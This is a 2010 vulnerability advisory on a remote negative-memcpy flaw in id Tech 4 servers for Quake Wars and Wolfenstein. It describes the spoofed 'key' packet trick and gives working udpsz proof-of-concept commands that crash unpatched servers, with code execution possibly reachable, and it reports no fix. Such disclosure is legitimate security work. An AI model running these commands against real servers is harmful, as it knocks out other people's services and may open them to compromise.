#######################################################################

                             Luigi Auriemma

Application:  id Tech 4 engine
              http://www.idsoftware.com
              http://iddevnet.com
Games:        Enemy Territory: Quake Wars            <= 1.5.12642.33243
                http://www.enemyterritory.com
              Wolfenstein                            <= 1.3.344272
                http://www.wolfenstein.com
              the older games like Quake 4, Doom 3 and Prey are NOT
              vulnerables
Platforms:    Windows, Linux
Bug:          negative memcpy with possible code execution
Exploitation: remote, versus server
Date:         05 Jul 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


id Tech 4 is currently the latest version of the game engine developed
by id Software.


#######################################################################

======
2) Bug
======


In the latest versions of the id Tech 4 engine has been implemented a
particular "out-game" (aka "out-of-band") packet called "key" that is
sent by the update server of the games, something regarding the license
code of the server as written in the server console when this type of
command is received.

After the receiving of the packet the server first checks if it comes
from the udpate server's IP address, then if it's a dedicated server
(only the dedicated servers handle it) and if it's ranked (only
non-ranked servers accept it).

Then the content of the packet starting from offset 6 is copied in a
stack buffer of 32 bytes if it's not greater than it.
But through a trick the minimum size of the packet can be 5 bytes so
the result will be the copying of 0xffffffff bytes (5 - 6):

  memcpy(stack_buffer, packet + 6, packet_size - 6);

For reaching the bugged code is necessary to spoof the source IP
address of the packet so that it matches the one of the update servers:
- etqwupdate.idsoftware.com for Enemy Territory: Quake Wars
- patches.wolfenstein.com for Wolfenstein

Now there are a couple of interesting thing.
The first is that we are able to send a packet smaller than the
requested size through to a trick, indeed each "out-of-bound" packet in
the id Tech 4 engine requires a 0x00 delimiter after the command, so
the correct "key" one would be:

  0xff 0xff "key" 0x00  (6 bytes)

But since the memory is the same for any packet it's enough to send a
correct "key" or a similar packet (no need of spoofing this one) that
will set the 0x00 byte in the right position and then we can send the
following one for exploiting the vulnerability:

  0xff 0xff "key"       (5 bytes)

The second interesting thing is that the previous rule is valid also
for the rest of the packet allowing the attacker to have control over
the first 32 kilobytes of memory copied during the negative memcpy
because the max size of a packet read by the socket is 0x7fff bytes
(so 0x7fff - 6).

Anyway in my tests performed with the Windows versions of the servers
the result was limited to the Denial of Service (crash during the
memcpy) but I can't exclude worst effects in some particular conditions
depending by the platform and the game (for example Wolfenstein where
the EIP register gets overwritten although not by the attacker's data).


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

example for ETQW:
  udpsz -P etqwupdate.idsoftware.com -p 1234 -C ffff6b657900 SERVER 27733 500
  udpsz -P etqwupdate.idsoftware.com -p 1234 -C ffff6b657900 SERVER 27733 5

example for Wolfenstein:
  udpsz -P patches.wolfenstein.com -p 1234 -C ffff6b657900 SERVER 27758 500
  udpsz -P patches.wolfenstein.com -p 1234 -C ffff6b657900 SERVER 27758 5

note that the sending of the second packet must be fast so that the
0x00 byte used in the first one will remain in that position allowing
the handling of the malicious packet.
note also that udpsz supports only the max MTU when sending spoofed
packets so it's not possible to specify the max size of 0x7fff bytes
supported by the game.

obviously it's necessary to have root/admin privileges and being
physicallly able to send spoofed packets correctly (no NAT/routers).


#######################################################################

======
4) Fix
======


No fix.


#######################################################################